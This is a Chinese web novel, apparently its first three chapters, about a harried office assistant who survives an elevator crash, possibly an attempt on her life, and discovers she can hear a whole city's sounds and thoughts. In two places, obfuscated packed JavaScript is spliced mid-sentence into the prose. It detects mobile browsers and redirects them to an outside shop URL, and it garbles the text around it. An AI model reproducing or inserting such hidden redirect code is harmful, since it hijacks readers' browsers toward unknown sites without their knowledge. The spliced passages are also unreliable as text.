《超能力少女的乌龙日常》 1. 今天也是想辞职的一天 早上八点五十九分,杨晓晓像往常一样踩点冲进办公室,手里还拎着在楼下便利店匆忙抓的三明治和豆浆。工位在靠窗的角落,光线最好,也最容易被路过的领导一眼瞥见——这是她这个新人行政助理的“殊荣”。 放下包的第一件事,是看向窗台。 那盆绿萝的叶子边缘,黄得更明显了。 这是她入职后养死的第三盆。第一盆死于忘记浇水,第二盆死于浇水过多,现在这盆……看起来在走第二条老路。 “晓晓啊,绿萝又不行了?” 隔壁工位的王姐端着咖啡飘过来,语气里带着看热闹的笑意。王姐在公司五年,是行政部的“老人”,最擅长的事就是在不惹麻烦的前提下看新人的笑话。 杨晓晓扯出一个笑容:“可能……阳光太足了。” “我看是你手气问题。”王姐压低声音,“前两个坐这个位置的新人,也都是绿萝杀手。要不你试试仙人掌?那玩意儿好养活。” “我试试。”杨晓晓嘴上应着,心里却想:仙人掌?那我岂不是要坐实“植物杀手”的名号了? 九点十分,李姐踩着高跟鞋“哒哒哒”地走进办公区。李姐是行政主管,四十出头,妆容精致,喜欢穿颜色鲜艳的套装,今天是一身亮粉色,像移动的糖果。 她径直走到杨晓晓工位旁,倚在隔断板上。 “晓晓,上个月的部门团建报销单,流程走到哪儿了?” 来了。每天的例行关怀。 杨晓晓赶紧点开电脑:“李姐,采购部那边说有几张发票开错了,在重开,我昨天下午催过了,说今天上午给我。” “催过?”李姐挑了挑眉,“催过和催到位是两回事。财务那边已经问我三次了,这笔钱再不走,下个月团建基金就批不下来了。” 她抿了口手里的“元气满满”马克杯里的茶——据说是什么进口花草茶,但杨晓晓总觉得闻起来像杀虫剂。 “年轻人,要有主动性。”李姐语重心长,“不能总等着别人把饭喂到嘴边,对不对?” 对对对,您说得都对。杨晓晓心里的小人已经把自己挂在公司LOGO上荡秋千了,脸上却熟练地挤出一个标准的、弧度经过三个月零五天练习的微笑:“好的李姐,我马上去催。” “这就对了嘛。”李姐满意地直起身,粉色套装在阳光下晃得人眼晕,“还有,下午两点刘总要临时开个会,你预订一下三号会议室,提前调试好设备——上次投影仪有杂音,这次不能再有了。” “好的。” “对了,前台说访客登记表快用完了,你去仓库领两箱。” “好……” “仓库钥匙在行政副总那儿,她十点要出去开会,你赶紧去。” 杨晓晓看了眼时间:九点十五。 她保存了刚打开的报销单Excel表,起身。 路过那盆黄叶绿萝时,她犹豫了一下,拿起桌上的小喷壶象征性地喷了两下——不能喷多,喷多就是第二盆的下场。 行政副总果然在收拾东西。看到杨晓晓,她爽快地递过钥匙:“仓库在B2,最里面那间。领完记得登记。” “谢谢张总。” 等电梯时,杨晓晓听到身后茶水间传来压低的笑声。 “……就那个新来的,杨晓晓,跟木头似的,李姐说什么她都‘好的好的’。” “人家那叫懂事。不像你,上次让你订个会议室,你还敢问为什么不能订四号。” “我那不是四号离咱们部门近嘛……” “嘘,小点声……” 杨晓晓盯着电梯跳动的数字,面无表情。 木头人?她这是战略性降低存在感好吗!新人就要有新人的觉悟,少说多做,不惹麻烦,顺利转正才是王道——这是她大学毕业后在社会摸爬滚打三个月总结出的生存法则。 电梯来了,空无一人。她走进去,按了B2。 地下二层灯光昏暗,空气里有股灰尘和旧纸张混合的味道。仓库在最深处,她找到访客登记表,一箱确实很沉,她费劲地抱起一箱,犹豫了一下,决定分两次搬。 来回两趟,等她气喘吁吁地把两箱登记表搬到前台时,已经九点五十了。 前台小妹正在涂指甲油,头也不抬:“放那边吧。” 杨晓晓放下箱子,登记,然后小跑回工位。 李姐正好从办公室出来,看到她:“领回来了?效率不错。对了,十点半之前把报销单的补充说明写一下,发我邮箱。” “好的李姐。” 坐下,开机,打开Excel。密密麻麻的数字和发票代码在眼前跳舞。 十点十分,她终于写完说明,发邮件。 十点二十,开始订会议室。 十点四十,调试投影仪——这次她学乖了,提前半小时去,把每个接口都检查了一遍,确认没杂音。 十一点,回到工位,准备点午餐外卖。 这是她每天最头疼的时刻之一——记住每个人的忌口和古怪偏好。 部门群里已经有人@她: “晓晓,今天想吃那家轻食沙拉,鸡胸肉要烤的不要煎的,酱汁单独装。” “我要麻辣烫,微辣,不要豆芽,多加一份肥牛。” “帮我点奶茶!还是老样子,芋圆波波奶茶,去冰三分糖。” 李姐也发了私信:“帮我订楼下那家日料店的定食,要鳗鱼饭,米饭少一点,鳗鱼汁单独装。” 杨晓晓看着这些要求,默默打开外卖软件。 一单一单下,一单一单备注。备注栏写得密密麻麻:“3号单不要豆芽”“5号单鳗鱼汁分开”“7号单芋圆波波去冰三分糖”…… 下单成功,截图发到群里。 立刻跳出几个表情包:“晓晓辛苦啦!”“爱你!” 她扯了扯嘴角,关掉窗口。 十二点,外卖陆续送到。大家聚到会议室吃午餐——办公室不准吃东西,这是规定。 “晓晓,你这报销单怎么还没弄完?”吃饭时,坐在对面的财务部小赵随口问,“我们总监都催了。” “采购部发票还没给全。”杨晓晓解释,“下午我再去催。” “要我说,你就该直接杀到采购部去。”小赵压低声音,“他们部门的人,你不逼紧点,能拖到明年。” “不至于吧……” “怎么不至于?上个月市场部的报销,拖了足足三周,最后是市场总监亲自去找采购总监才解决的。” 杨晓晓默默扒饭。 她只是个新人行政,哪有胆子“杀”到别的部门去催?能打电话发邮件礼貌催促,已经是她的极限了。 吃完饭,收拾垃圾,回到工位。 下午一点半,她鼓起勇气给采购部打了个电话。 “您好,我是行政部杨晓晓,想问一下上个月联谊活动的那几张发票……” “哦,那个啊,供应商那边说开票系统有点问题,明天,明天一定给。” “可是财务那边催得很急……” “哎呀,我们也在催嘛,互相理解一下。” 电话挂断。 杨晓晓看着话筒,叹了口气。 明天复明天,明天何其多。 下午两点,刘总的会议开始。她提前十分钟去会议室确认设备,一切正常。 会议开到四点。期间她接了三个订水电话,处理了两个打印机卡纸报修,还帮隔壁部门找了一份不知道塞哪里的文件——用她的话说,“可能在左边第二个文件柜第三层,绿色的文件夹里”。 还真在。 四点半,李姐又飘过来了。 “晓晓,明天有客户来访,你准备一下接待材料,打印十份,用那个带公司logo的文件夹装。” “好的李姐。” “还有,下周的部门周报,你帮王姐一起整理一下数据,她手头项目多。” 王姐就在旁边,闻言抬头:“谢谢晓晓啊,回头请你喝奶茶。” 杨晓晓笑笑:“应该的。” 心里想:这是我这周第三次“被应该”了。 六点,下班时间。 但没人走。行政部规定,领导不下班,大家最好也别走——当然,不强制,但懂得都懂。 李姐还在办公室,灯亮着。 杨晓晓看着电脑屏幕上没处理完的报销单,认命地继续。 七点,李姐终于拎着包出来了。 “大家辛苦了,早点回去休息。”她微笑着说完,高跟鞋声远去。 办公室里响起一片收拾东西的声音。 王姐凑过来:“晓晓,还不走?” “把这个弄完。”杨晓晓指了指屏幕。 “别太拼,身体要紧。”王姐拍拍她的肩,走了。 七点半,办公室里只剩下杨晓晓一个人。 她终于把报销单理出个头绪,保存,发邮件给李姐和财务。 搞定。 她长舒一口气,活动了一下僵硬的脖子和肩膀。 窗外天色已暗,城市的灯火一盏盏亮起。从22楼看下去,车流像发光的河流,行人如蚁。 她有时候会盯着那些光影发呆,幻想自己也是一只工蚁,勤勤恳恳,微不足道,最大的烦恼是今天搬的米粒够不够大。 但工蚁至少不用处理报销单,她想。 肚子咕咕叫。她这才想起晚饭还没吃。 算了,回出租屋煮泡面吧。 关电脑,收拾东西。 帆布包里装着钥匙、钱包、半包纸巾、一支快用完的口红,还有一本她一直想读却从来没时间翻开的小说——《人类简史》,买了三个月,才翻了十页。 起身时,她看了眼窗台上的绿萝。 叶子黄得更厉害了,但还顽强地活着。 “对不起。”她小声对它说,“明天给你换个位置,可能阳光真的太足了。” 绿萝不会回答。它只是静静地立在那里,和她一样,在这个庞大的写字楼里,履行着自己微不足道的使命。 走向电梯间时,走廊的灯应声而亮。 高跟鞋敲在地砖上,发出清脆的回响——为了显得专业,她上班总是穿有点跟的鞋,即使脚后跟经常被磨破。 电梯正好停在这一层,门开着,里面空无一人。 她走进去,按下1楼。 金属门缓缓合拢,镜面轿厢壁映出她的脸:没什么血色的皮肤,简单的马尾,黑眼圈即使涂了遮瑕也隐约可见。 她盯着自己看了两秒,忽然觉得有点陌生。 三个月前,她拿到这家公司的offer时,还兴奋地在出租屋里转圈。这是她梦寐以求的大公司,光鲜亮丽,前途无量。 现在她只想知道:前途的“无量”,是不是指“无量的工作”? 电梯开始下行。 22楼。 21楼。 20楼。 数字跳动,平稳正常。 她看着跳动的数字,脑子里还在盘算明天要做的事:催发票、打印接待材料、帮王姐整理数据、给绿萝换位置…… 19楼。 18楼。 就在数字跳到“18”的瞬间—— 轿厢猛地一震! 不是那种普通的晃动,而是剧烈地、失控地向一侧倾斜! “啊——!” 杨晓晓的尖叫卡在喉咙里,整个人被甩向轿厢壁,肩膀重重撞在冰冷的金属上。帆布包脱手飞出,里面的东西哗啦散落。 头顶的灯管“滋啦”爆出火花,瞬间熄灭! 应急灯诡异的绿光骤然亮起,将整个空间映照得如同鬼域。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17191441|197074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>失重感! 可怕的、仿佛要将五脏六腑都拽出喉咙的失重感! 电梯在坠落! 轰——!!! 撞击不是来自脚下,而是侧面。轿厢似乎撞破了什么,冰冷的、粗糙的墙体碎片劈头盖脸砸进来。杨晓晓被甩到另一边,额头撞上扶手,眼前金星乱冒。 天旋地转。 钢铁扭曲撕裂的声音震耳欲聋,混合着她自己破碎的尖叫。 最后一下猛烈的撞击—— 世界骤然陷入一片死寂的黑暗。 …… 疼吗? 好像……不疼? 为什么感觉不到疼? 只有一种奇怪的麻木,像整个人浸在粘稠的水里,浮浮沉沉。 眼前有光吗?没有吗?好像有……又好像没有。 我是不是死了? 据说人死的时候会回顾一生…… 她短暂的一生像走马灯一样闪过: 小时候院子里那棵总也爬不上去的歪脖子树。她试了无数次,最后一次摔下来,膝盖磕破了,哭得惊天动地。妈妈一边给她涂红药水一边说:“女孩子家爬什么树!” 高考前彻夜亮着的台灯。窗外是夏夜的虫鸣,桌上堆着厚厚的《五年高考三年模拟》。她困得头一点一点,笔尖在纸上划出无意义的线条。 拿到offer那天雀跃的心情。她举着手机在出租屋里转圈,大声对电话那头的妈妈说:“妈!我进了!大公司!” 还有李姐那张涂着鲜亮口红、不断开合的嘴:“年轻人要有眼力见儿……要主动……别等着别人把饭喂到嘴边……” 不甘心。 还有……好吵。 等等,为什么这么吵? 不是幻听。声音从四面八方涌来,不是通过耳朵,而是直接灌入她的脑海,清晰得可怕,又混乱得要命。 “……目标已清除,确认无生命体征。收队。” 一个冷硬的男声,毫无波澜,像是在陈述今天天气不错。 远处街道:“……豆浆油条明天涨价,每样涨五毛……”“妈,我数学考了六十八……”“……根据气象台预报,明天午后有短时雷阵雨……” 隔壁大楼某层:“王总,这个方案绝对……”“老公,你今晚几点回来?宝宝发烧了……”“……敌军还有三十秒到达战场……” 楼下绿化带:“……喵……(饿)……”“……窸窸窣窣(虫子爬过叶片)……” 近在咫尺:“……消防通道堆的杂物赶紧清掉!上次检查就说了……”“……18楼东侧电梯井发生结构性崩塌,原因待查,已封锁现场……” 无数声音的洪流,近的、远的、人类的、非人的、有意义的、无意义的,拧成一股粗糙的绳索,狠狠勒进她的大脑,摩擦、切割。 她“看见”声音的来源——不是图像,而是一种奇异的定位感知。 那个说“目标已清除”的男人,就在这栋楼的天台边缘,心跳平稳得像台机器。他转身,脚步声远去,消失。 楼下赶来的消防员和警察,心跳急促,混杂着对讲机的电流杂音:“发现幸存者了吗?”“还在搜救……”“担架!快!” 更远的地方,城市像一个突然被调到最大音量的破旧收音机,所有频道一起嘶吼:汽车的引擎声、商店的音乐声、夫妻的争吵声、孩子的哭笑声、键盘的敲击声、风吹过树叶的沙沙声…… “啊——!” 她终于惨叫出声,却发现自己发不出任何声音。所有的力气都用来对抗那几乎要把脑袋撑爆的声浪。 求求你们……别吵了…… 停下…… …… 不知过了多久,也许几秒,也许几个世纪,声浪的冲击似乎平缓了一些。 或者说,她的大脑在绝望中被迫开始适应、过滤。 她尝试着“关闭”一些频道,像切换混乱的收音机旋钮。 远处的车流声渐渐淡去,隔壁楼的哭闹争吵变成模糊的背景音,只剩下近处的一些动静清晰可辨。 她能“听”到自己微弱的心跳。 咚……咚……咚…… 很慢,但确实在跳。 还有……身下破碎的水泥板和扭曲钢筋的冰冷触感。 我没死? 从至少十几层楼高的电梯井摔下来,没死? 动不了。身体像散了架,但确实还连着。她试图睁开眼睛,眼皮沉重如铁。 应急灯的绿光透过缝隙,照亮弥漫的灰尘。 脚步声靠近。 一个穿着救援服的身影弯下腰,用手电照了照,然后倒吸一口凉气,对着肩头对讲机急促地说:“这里!发现一名女性!在废墟下面!还有生命体征!需要担架!快!” 杂乱的脚步声涌来。 “怎么还有人?不是清场了吗?” “不知道!压在下面了,小心点!” “活着就是奇迹……” 杨晓晓闭着眼,任由他们把自己弄上担架。抬起来时,她听到自己骨头发出轻微的咔哒声,但不疼——还是麻木。 救护车的鸣笛由远及近,尖锐的声音刺穿夜空。 “让一让!让一让!” 担架被抬上救护车。车门关上,鸣笛再次响起,驶离。 在一片混乱的声浪中,杨晓晓用尽最后一点清醒的意识,捕捉到一个迅速远离的心跳。 平稳、冷静、有条不紊。 从楼顶天台的方向,消失在夜色中。 那个人说,“目标已清除”。 清除谁? 我吗? 为什么? 然后黑暗再次涌来,吞没了所有声音,所有意识。 只剩下最后一个念头,在彻底昏迷前闪过: “问题大了……” 2. 醒来后世界开了最大音量 杨晓晓睁开眼睛时,第一个涌入意识的不是视觉,而是声音。 太多了。太吵了。 白色天花板在她眼前缓慢聚焦,消毒水的味道浓得几乎有形。但压倒这一切的,是声音——层层叠叠、密密麻麻、从四面八方涌来的声音。 “……小军下个月就回来了,说要带女朋友,也不知道那姑娘脾性怎么样……” 右耳边传来絮絮叨叨的念叨,苍老的女声。杨晓晓艰难地转动脖子,看见隔壁病床上躺着一位银发老太太,闭着眼,嘴唇微微翕动。那声音正是从她那里传来的。 但不对劲。老太太的声音未免太清晰了,清晰得就像贴在耳边说话。而她们之间明明隔着一张床头柜、至少两米的距离,还有一道半拉着的蓝色隔帘。 “……第43遍了,”老太太的声音继续着,“小军下个月就回来了,说要带女朋友……” 杨晓晓眨眨眼。等等,什么第43遍? “我不要打针!我不要——哇啊啊啊——” 这声音尖利得多,是个孩子,从楼下传来的。不对,不是楼下,是……楼下几层?杨晓晓艰难地判断着。那声音穿透地板、水泥、管道,一路钻上来,完整得像在现场。 “王医生今天值班吧?他上次帮我拿过药,人真好。” “你说新来的陈医生?是挺帅的,不过听说有女朋友了。” 这两道声音年轻些,来自走廊方向。护士站?但护士站离这间病房至少有二十米,还隔着两道门。正常来说,她连那边的说话声都听不见,更别说听清内容。 杨晓晓的手开始发抖。 “……七楼!又他妈是七楼!没电梯的老小区!谁点的麻辣烫要爬七楼还备注‘快点汤要洒了赔钱’!我赔你大爷——” 这个声音最远,来自医院外面。几条街外?声音里夹杂着街道的嘈杂、电动车鸣笛、风吹过的呼啸,但那个男声的怒吼却异常突出,字字清晰。 杨晓晓猛地坐起身。 世界在她耳边轰然炸开。 更多声音瞬间涌入——远处病房的咳嗽声、楼上仪器的滴滴声、走廊推车滚轮的咕噜声、窗外树叶的沙沙声、甚至隔壁楼某间病房里电视正在播放的午间新闻:“……今日气温25到31度,局部地区有阵雨……” 每一种声音都清晰可辨,层次分明,同时涌入她的耳朵,却互不干扰。就像有人把整个世界的声音都收集起来,同时按了播放键,还把音量调到了最大。 “啊……”杨晓晓发出一声短促的呜咽,双手猛地捂住耳朵。 物理的隔绝毫无用处。声音不是从耳朵进来的——或者说,不只是。它们像是直接在她的大脑里播放,捂耳朵只能减弱最表层的环境音,而那些清晰的对话、念叨、哭喊,依然固执地响着。 “小军下个月就回来了……” “我不要打针——” “陈医生确实帅……” “爬七楼!麻辣烫!我记下你了订单尾号3687——” “砰!” 病房门被推开。杨晓晓吓得一抖,看见之前那位护士快步走进来,脸上带着关切。 “你怎么了?”护士走到床边,“哪里不舒服?头疼吗?” 杨晓晓张了张嘴,却发不出声音。她的耳朵里塞满了世界的噪音,自己的声音反而被淹没了。 “……病人突然坐起来,捂耳朵,表情痛苦,可能是颅内压变化或前庭功能障碍,需要通知医生……”护士的思绪以声音的形式钻进杨晓晓的大脑。 等等。思绪? 杨晓晓瞪大眼睛看着护士。护士的嘴唇没动,但那个清晰的女声确实在继续:“……也可能是焦虑发作,脑震荡后常见心理反应……” “你……”杨晓晓终于挤出声音,“你刚才……在想什么?” 护士愣了一下:“什么?” “你在想……颅内压?前庭……”杨晓晓结结巴巴地重复。 护士的表情从关切转为困惑,然后变成一种职业性的温和理解。“杨小姐,”她轻声说,像是在安抚受惊的孩子,“你刚经历了一场严重的脑震荡。有时候会出现一些……感知异常。幻听、头晕、记忆混乱,都是可能的。你刚才听到了什么吗?” “我听到……”杨晓晓环顾四周。 老太太还在闭目养神,嘴唇不再动了,但杨晓晓依然能“听”到那个循环的念头:“小军下个月第44遍小军下个月第44遍……” 楼下孩子的哭喊变成了抽泣:“妈妈坏……打完针了……讨厌医院……” 护士站的对话转向了午餐吃什么:“食堂今天有糖醋排骨,但肯定是昨天的剩肉……” 三条街外的外卖员还在骂,但已经开始爬楼了:“三楼……四楼……腿快断了……这单结束就给差评……” 而眼前这位护士的思绪清晰得像广播:“病人出现明显幻听症状,需记录并通知神经科会诊,可能需调整用药……” “我听到很多声音,”杨晓晓最终说,声音发颤,“所有人的……声音。” 护士点点头,在本子上记录着什么。“具体是什么样的声音呢?有人在说话吗?在说什么?” 杨晓晓犹豫了。如果她说出具体内容——老太太想孙子想了44遍,护士站讨论糖醋排骨,外卖员在骂街——护士会信吗?还是会更确信她疯了? “就是……嗡嗡的,”她最终撒谎,“很多人在说话,但听不清内容。” 护士的表情放松了些。“这是典型的脑震荡后耳鸣性幻听,很常见。你需要休息,减少刺激。”她调整了杨晓晓床头的按钮,把床头降下去一些。“试着睡一会儿。如果声音持续或加重,按呼叫铃。” 护士离开后,杨晓晓躺在枕头上,盯着天花板。 老太太的循环念叨、孩子的抽泣、护士站的闲聊、外卖员的喘息、远处街道的车流、更远处不知道哪家装修的电钻声、空调外机的嗡嗡、自己的心跳、血液流过耳朵的沙沙声… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17191442|197074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' … 所有声音交织在一起,永不间断。 她闭上眼睛,声音并未消失。 她深呼吸,声音依然清晰。 她数自己的心跳,试图用规律的声音掩盖其他杂音,但那些外界的声音顽固地穿透进来,每一声都带着完整的信息、情绪、意图。 “……小军女朋友要是像隔壁床那姑娘这么文静就好了……”老太太的思绪飘过来。 杨晓晓猛地睁眼。 不。这不是幻听。 幻听不会这么具体,不会这么连贯,不会包含她根本不可能知道的信息——比如老太太孙子叫小军,比如外卖订单尾号3687,比如护士站的糖醋排骨是剩肉。 这是…… 一个荒诞的念头浮现在脑海。 电梯坠落时,那短暂的绝对寂静,然后是什么东西“啪”地断裂的感觉——在她脑子里。接着声音回来了,起初微弱,然后越来越响,直到现在这样,全世界都在她耳边开大会。 “目标已清除。” 那个冰冷的声音突然在记忆里回响。电梯坠落前听到的,男人的声音,毫无感情,像在陈述事实。 杨晓晓的手心渗出冷汗。 清除?清除什么?电梯故障?还是……别的什么? 她转过头,看向病房窗户。玻璃映出她的脸——苍白、眼下乌青、头发凌乱、眼神惊恐。一个普通的27岁行政专员,刚经历电梯事故,正在医院康复。 一个不应该能听到三条街外外卖员骂街、楼下孩子哭闹、隔壁老太太循环念头的人。 窗外的城市在正午阳光下运转,车流人流,一切如常。 但在杨晓晓的耳朵里,这座城市正在咆哮、低语、争吵、欢笑、哭泣、抱怨、思考——每一声都清晰可闻,永不停歇。 她慢慢把被子拉上来,盖住头。 在黑暗和闷热中,声音依然穿透而来。 “……第45遍,小军下个月就回来了……” “糖醋排骨没了,只剩土豆丝了……” “五楼……六楼……快到了……麻辣烫千万别洒……” “下午两点三号手术室排了台阑尾炎……” “今日股市开盘下跌0.3%……” “老婆晚上做什么饭呢……” “那个病人好像一直在发抖……” “药房系统又卡了……” 无数声音,生活的碎片,城市的脉搏,人类的存在证明。 全都涌进她一个人的脑海里。 杨晓晓在被子下蜷缩起来,双手紧紧捂住耳朵,尽管知道这毫无用处。 这不是脑震荡后遗症。 这是别的什么东西。 而那个说“目标清除”的男人——他知道发生了什么吗? 窗外,一只鸟飞过,翅膀拍打空气的扑棱声清晰得如同在耳边。 杨晓晓闭上眼睛。 世界在她耳边喧哗不止,永无宁日。 3. 我觉得我变异了,但我不敢说 出租车停在锦绣花园小区门口时,天色已经彻底暗了下来。 杨晓晓付钱下车,拎着那个小小的行李袋——里面装着入院时的衣服和洗漱用品,站在熟悉的小区门口,却感到一种莫名的陌生。 路灯昏黄,几个老太太坐在楼下的石凳上聊天,孩子们在空地上追逐打闹,流浪猫蹲在垃圾桶旁,警惕地观察着周围。 一切看起来都和三天前一样。 但她知道,不一样了。 从电梯坠落到在医院醒来,她的世界已经被彻底颠覆。那双能听见整个城市声音的耳朵,像是一扇被强行打开的门,再也关不上了。 她深吸一口气,走向自己住的那栋楼。 老式六层住宅楼,没有电梯。她住在四楼。 爬楼梯时,声音开始不受控制地涌来。 二楼,201室,电视正在放综艺节目,夸张的笑声穿透门板。 “哈哈哈这个嘉宾太搞笑了!” 三楼,302室,夫妻在吵架——不,应该说是在“争论”。 “我上次明明洗了碗!”女人的声音带着委屈。 “你洗个屁!那天晚上是我洗的!”男人的声音不耐烦。 “你才放屁!我记着呢,周三晚上,你加班,我做的饭我洗的碗!” “那是上上周三!上周三是我洗的!” “你——” 杨晓晓脚步顿了顿。 以前她也偶尔能听到楼上楼下的一些动静,但都是模糊的、隔着一层楼板的声音。现在,她听得清清楚楚,连语气里的委屈和愤怒都一清二楚,仿佛她就站在那对夫妻的客厅里。 她加快脚步,逃也似的爬上四楼。 打开门,进屋,反手锁上。 拉上窗帘,房间里一片昏暗。 她靠在门上,慢慢滑坐到地上,行李袋掉在一旁。 终于……相对安静了。 老房子的墙壁厚,隔音效果比医院好。她能听到的声音少了很多,虽然楼上吵架声依然清晰,但至少没有医院那种四面八方涌来的声浪。 她坐了一会儿,等呼吸平稳下来,才爬起来开灯。 出租屋还是老样子:一室一厅,简单装修,家具都是房东配的,略显陈旧但干净。窗台上放着几盆多肉——还好,多肉不需要经常浇水,还活着。 她放下行李袋,走到镜子前。 镜子里的人脸色苍白,黑眼圈明显,眼神里有一种……陌生的警惕? 她伸出手,摸了摸镜子里的脸。 “杨晓晓,”她轻声说,“你到底怎么了?” 没人回答。 她走到窗边,掀开窗帘一角。 外面是熟悉的小区景象,但现在她“听”到的比“看”到的多得多。 楼下大爷的收音机在放《千里之外》,周杰伦的声音夹杂着电流杂音:“我送你离开,千里之外……” 隔壁楼,五楼,有小孩在练钢琴,磕磕绊绊的《小星星》。 更远处,小区门口的便利店,老板娘在打电话:“……对对,要一箱矿泉水,明天送过来……” 还有……草丛里,几只流浪猫在“交流”。 不是喵喵叫,是更低的、几乎听不见的咕噜声和细微的摩擦声。但杨晓晓听懂了——不是语言上的懂,而是一种直觉上的理解。 那只大橘猫在说:“今晚……垃圾桶……鱼骨头……” 另一只小花猫回应:“保安……九点巡逻……” 杨晓晓猛地放下窗帘。 她听懂了猫的“计划”? 不,不可能。 这一定是她的想象力太丰富,把声音脑补成了意义。 她需要……系统性地测试。 走到书桌前,她打开笔记本电脑,但想了想又关上了。 先不用电脑。 她需要先弄清楚,自己到底能听到多远,多清楚。 实验一:距离测试。 她闭上眼睛,集中注意力“听”向一个方向——东边。 声音涌来。 首先是小区的范围:楼上楼下,左右邻居,楼下空地…… 然后是小区的范围:隔壁几栋楼,便利店,小广场…… 接着是小区外:街道,商铺,更远的写字楼…… 她努力分辨最远的声音。 一条街外的奶茶店,店员在喊:“珍珠奶茶加布丁好了!” 两条街外的网吧,有人在打游戏:“上路!上路需要支援!” 三条街外……有点模糊了,但还能听到一些片段。 她睁开眼睛,粗略估算:有效半径大约三公里。 这太夸张了。 正常人能听清几十米外的对话就不错了,她这是……三百倍? 实验二:精度测试。 她再次闭上眼睛,这次不追求距离,而是追求细节。 她“听”向楼上那对还在吵架的夫妻。 “……行行行,就算上次是你洗的,那今天该你了!”男人说。 “我今天加班到八点,累死了,你就不能洗一下?”女人声音带着哭腔。 “我也累啊!我……” 杨晓晓皱起眉。 她不仅能听清每个字,还能听出男人语气里的疲惫和不耐烦,女人声音里的委屈和压抑的愤怒。 甚至能听到……女人在偷偷擤鼻涕? 太清晰了。 清晰到让她感到不适。 这已经不是“听力好”能解释的了。 实验三:可控性测试。 她尝试“关闭”听力。 不是捂耳朵——那没用,声音是直接进入大脑的。 而是用“意念”,像关掉脑子里一个开关。 失败了。 声音依然在,只是当她集中注意力“想”要关闭时,声音会稍微减弱一点,像调低了音量。但一旦放松,音量又恢复。 她又尝试“屏蔽”特定声音。 比如屏蔽楼上吵架声,只留下楼下大爷的收音机。 这次有点效果。 当她全神贯注地“想”要只听收音机时,吵架声确实变得模糊了,像是隔了一层水。但维持这种状态很累,需要持续集中注意力。 五分钟后,她头疼欲裂,不得不放弃。 结论:能力无法关闭,只能有限调控。持续控制会消耗大量精神,导致疲劳和头痛。 她瘫坐在椅子上,盯着天花板。 这不正常。 这不科学。 她打开笔记本电脑,在搜索框里输入:“突然能听到很远的声音”。 搜索结果跳出来: *《都市异能小说:我觉醒顺风耳后无敌了》* *《幻听可能是精神分裂症的前兆》* *《听觉过敏的治疗方法》* *《神秘学:天耳通的开悟体验》* 她一条条点开。 小说广告直接跳过——她现在没心情看玄幻。 医学文章说,听觉过敏可能是焦虑症、创伤后应激障碍、或某些神经系统疾病的症状。常见表现包括对正常环境声音感到不适、难以过滤背景噪音、容易因声音分心等。建议就医,进行心理咨询,服用抗焦虑药物…… 但她确定,这不是“过敏”。 过敏是对正常声音反应过度,而她听到的是……正常人根本听不到的声音。三公里外的奶茶店,正常人能听见吗? 神秘学论坛里,有人分享“开天耳”的经验:打坐冥想七七四十九天,吃素念经,连接高维意识,然后就能听到“宇宙的声音”…… 下面跟帖:“我试了,除了饿瘦了五斤啥也没听到。” “楼主是不是精神出问题了?” “建议看医生。” 杨晓晓关掉网页。 不靠谱。 她又搜:“从高处坠落幸存后获得超能力”。 这次跳出来的全是网络小说,标题一个比一个离谱:《坠楼后我成了透视神医》《摔一跤开启修仙之路》《重生之我在都市当龙王》…… 她揉着太阳穴,关掉电脑。 窗外天色已深。 肚子咕咕叫,她才想起从中午到现在还没吃饭。 冰箱里还有几个鸡蛋,半棵白菜,一把挂面。 她简单煮了碗面,坐在桌前慢慢吃。 吃面时,她忍不住又开始“听”。 这次她不再抗拒,而是尝试接受,甚至……探索。 她听到隔壁楼,一个母亲在哄孩子睡觉,哼着轻柔的摇篮曲。 听到楼下便利店,老板娘在算账,计算器按键声清脆。 听到更远的街道,夜市开始热闹起来,烧烤摊的油烟声、顾客的谈笑声、酒杯碰撞声…… 这些声音交织在一起,构成了一幅鲜活的、立体的城市夜景。 不再是噪音,而是……生活。 她忽然想起以前看过的一部电影,主角能听到别人的心声,最初痛苦不堪,后来学会控制,最终用这个能力帮助他人。 她能像那样吗? 学会控制,然后用这个能力……做点什么? 但下一秒,她就想起了那个冰冷的声音: “目标已清除。” 和那个平稳得诡异的心跳声。 笑容消失了。 如果那真的是一次针对她的“清除”行动,那么她现在最该做的不是探索能力的可能性,而是……保命。 她迅速吃完面,洗碗,然后开始检查门窗。 老旧的防盗门,锁是普通的弹子锁,不太牢靠。 窗户是推拉式的,锁扣有点松。 不够安全。 她搬来椅子抵在门后,又检查了窗帘是否拉严实。 晚上,她不敢开灯,用手机屏幕微弱的光照明。 躺在床上,她闭上眼睛,但睡不着。 声音太多了。 楼上夫妻终于不吵了,但开始……做别的运动。床板有节奏的吱呀声,压抑的喘息声。 杨晓晓脸一红,赶紧“屏蔽”。 隔壁,室友在看恐怖片,音效惊悚,还时不时发出尖叫。 楼下,大爷的收音机还在放,换成了戏曲频道,咿咿呀呀唱个不停。 远处,夜市越来越热闹,猜拳声、笑骂声、甚至还有喝醉的哭嚎声。 这些声音像潮水一样涌来,冲击着她的意识。 她尝试控制,但控制需要集中注意力,而集中注意力本身就会消耗精力。 半小时后,她头痛欲裂,不得不放弃。 干脆不睡了。 她坐起来,抱着膝盖,盯着黑暗中的房间。 怎么办? 这样下去不行。 她会疯的。 要么被这些声音逼疯,要么被那个“清除者”找到。 或者……主动做点什么? 她想起白天的测试。 能力虽然无法关闭,但可以调控。 虽然调控很累,但至少是条路。 她需要练习。 